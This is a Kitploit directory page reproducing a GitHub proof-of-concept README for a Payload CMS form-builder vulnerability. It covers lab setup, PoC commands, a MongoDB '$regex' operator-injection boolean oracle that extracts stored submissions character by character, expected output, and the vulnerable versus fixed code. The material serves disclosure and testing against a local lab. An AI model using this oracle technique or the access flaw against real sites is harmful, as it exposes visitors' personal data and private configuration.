Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-105857-POC — POC for CVE-2026-105857 - form-builder access collapse and raw MongoDB query injection in Payload CMS: non-admin reads all form submissions, boolean oracle extracts stored secrets, email config exposed. Vulnerable 3.89.0 vs fixed 3.90.0 control included. | Kitploit
Tools/GitHubGitHub/fixedbyreboot/cve-2026-105857-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingDatabase SecurityLabs & Practice
GitHubfixedbyreboot/cve-2026-105857-poc

CVE-2026-105857-POC

POC for CVE-2026-105857 - form-builder access collapse and raw MongoDB query injection in Payload CMS: non-admin reads all form submissions, boolean oracle extracts stored secrets, email config exposed. Vulnerable 3.89.0 vs fixed 3.90.0 control included.

View Repository
9 days agoNot yet reviewed
Share

CVE-2026-105857 — Payload CMS form-builder: submission access collapse and raw MongoDB query injection

Python CVSS 10.0 Critical Affected Status verified 2026-11-14 Advisory GHSA-r488-j9vj-wx3q MIT license

The form-builder plugin ships every Payload site that renders a public contact or checkout form, and it generates its collections with an access model that trusts any logged-in user: read: ({ req: { user } }) => !!user. Any account in ANY auth collection (site members, customers, tenants - not just the admin collection) can read every stored form submission: names, emails, phone numbers, whatever visitors type into public forms, plus the private email routing configuration (emails field: internal inboxes, reply-to addresses) of every published form. On top of that, Payload 3.89.0 query validation accepts plain-object values for the like/not_like/contains operators, and the MongoDB adapter splices such objects into the query as raw predicate documents - so the same low-privilege account gets an attacker-controlled query oracle over the submissions collection ({"$regex": ...} boolean oracle, $ne, $not, arbitrary predicates). Payload 3.90.0 restricts both reads to the admin collection and rejects raw operator documents with 400; public form submission itself is unaffected by the fix.

  • Affected: @payloadcms/plugin-form-builder < 3.90.0 (all versions through 3.89.0, tested 3.89.0) and >= 4.0.0-canary.0, < 4.0.0-canary.34
  • Fixed: 3.90.0 / 4.0.0-canary.34 (release v3.90.0, 2026-09-18)
  • CVSS: 10.0 Critical - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • Weakness: CWE-94 (code injection), CWE-1321 (prototype pollution) per the advisory record
  • Advisory: GHSA-r488-j9vj-wx3q / CVE-2026-105857
  • Patch commits: 333b82b9f3 "fix: restrict form data access" and the same-release hardening 6b8e808efb "fix(db-mongodb): reject raw operator documents for like/not_like/contains"

Preconditions (verified)

  • The site uses @payloadcms/plugin-form-builder with at least one published form (the normal setup for this plugin - it has no other use).
  • Submission is unauthenticated: the generated collection sets create: () => true so anonymous visitors can submit (that is the point of a public form, and it still works after the fix - verified, 201).
  • Stages 4 to 7 of the PoC need one additional thing: an account in ANY auth collection of the app (here a customers member, the standard multi-user setup for member-gated sites). The advisory scores the issue PR:N; on the MongoDB stack reproduced here the read/injection stages require such a login, which is strictly less than admin. Judge your exposure accordingly.

Usage

Bring up the lab (one vulnerable target on :3000, one fixed control on :3001, shared MongoDB - first build runs next build twice, ~5 minutes):

docker compose up --build -d
docker compose ps

Seed data (admin, one site member, a published contact form with email routing, one stored visitor submission) is created automatically on first boot of each app.

Run the PoC against the vulnerable target, then against the control:

python3 poc.py --url http://127.0.0.1:3000 --mode vuln
python3 poc.py --url http://127.0.0.1:3001 --mode control

--url is the lab base URL. --mode vuln expects every attack stage to succeed and exits 0 only when it does; --mode control expects the 3.90.0 rejections. --email/--password are the low-privilege lab account ([email protected] / M3mber-lab-pass). --secret is the string the oracle extracts char-by-char from a stored submission.

Expected output

Vulnerable target (payload 3.89.0 / plugin-form-builder 3.89.0):

[*] 4. read ALL form submissions with the non-admin account
    [+] GET /api/form-submissions -> HTTP 200, totalDocs=3
    submission 6af83895...: name='poc-hchokf' email='[email protected]'
[*] 5. raw MongoDB operator document injection via like -> boolean oracle
    [+] like={'$regex': 'please'} -> HTTP 200, totalDocs=1
[*] 6. extract stored secret char-by-char through the oracle
    [+] extracted: 'Please call me back about my order.'
[*] 7. sensitive form email configuration exposed to the same account
    [+] GET /api/forms emails field -> [{"emailTo": "[email protected]", ...
[+] RESULT: target behaves as expected for --mode vuln

Fixed control (payload 3.90.0 / plugin-form-builder 3.90.0), same requests:

[*] 4. read ALL form submissions with the non-admin account
    [-] GET /api/form-submissions -> HTTP 403
    blocked: read denied for non-admin-collection user (3.90.0 access fix)
[*] 5. raw MongoDB operator document injection via like -> boolean oracle
    [-] like={'$regex': 'please'} -> HTTP 403
    blocked: plain-object operator values are rejected on 3.90.0
[*] 7. sensitive form email configuration exposed to the same account
    [-] GET /api/forms emails field -> []
    blocked: emails field restricted to the admin collection (3.90.0)
[+] RESULT: target behaves as expected for --mode control

Raw captures: evidence/ (PoC runs with exit codes, full HTTP request/response pairs for the read, the TRUE/FALSE oracle probes and the email-config leak, the control rejections, and the relevant application log lines).

Why it works

Two defects in the same release window combine; 3.90.0 fixes both.

  1. Access model. packages/plugin-form-builder/src/collections/FormSubmissions/index.ts generates the collection with a read check that accepts any authenticated user regardless of which collection they belong to:

    read: ({ req: { user } }) => !!user, // logged-in users
    

    The same check guards the emails array field on the forms collection (SMTP routing, internal addresses). The fix compares the user's collection against the configured admin collection:

    read: ({ req }) => req.user?.collection === req.payload.config.admin.user
    

    Submission (create) stays () => true - public forms keep working.

  2. Query validation. Payload REST where filters parse into { path: { operator: value } }. For like/not_like the MongoDB adapter has no entry in its operator map, and the query builder's fall-through branch returns the operator value unchanged when the mapped mongo operator is undefined:

    if (!operatorKey) {
        return { path, value: formattedValue }   // raw object lands here
    }
    
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    899
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    831
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    661
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    444
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    443
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    395

Explore all tools

Browse our collection of tools

View all tools →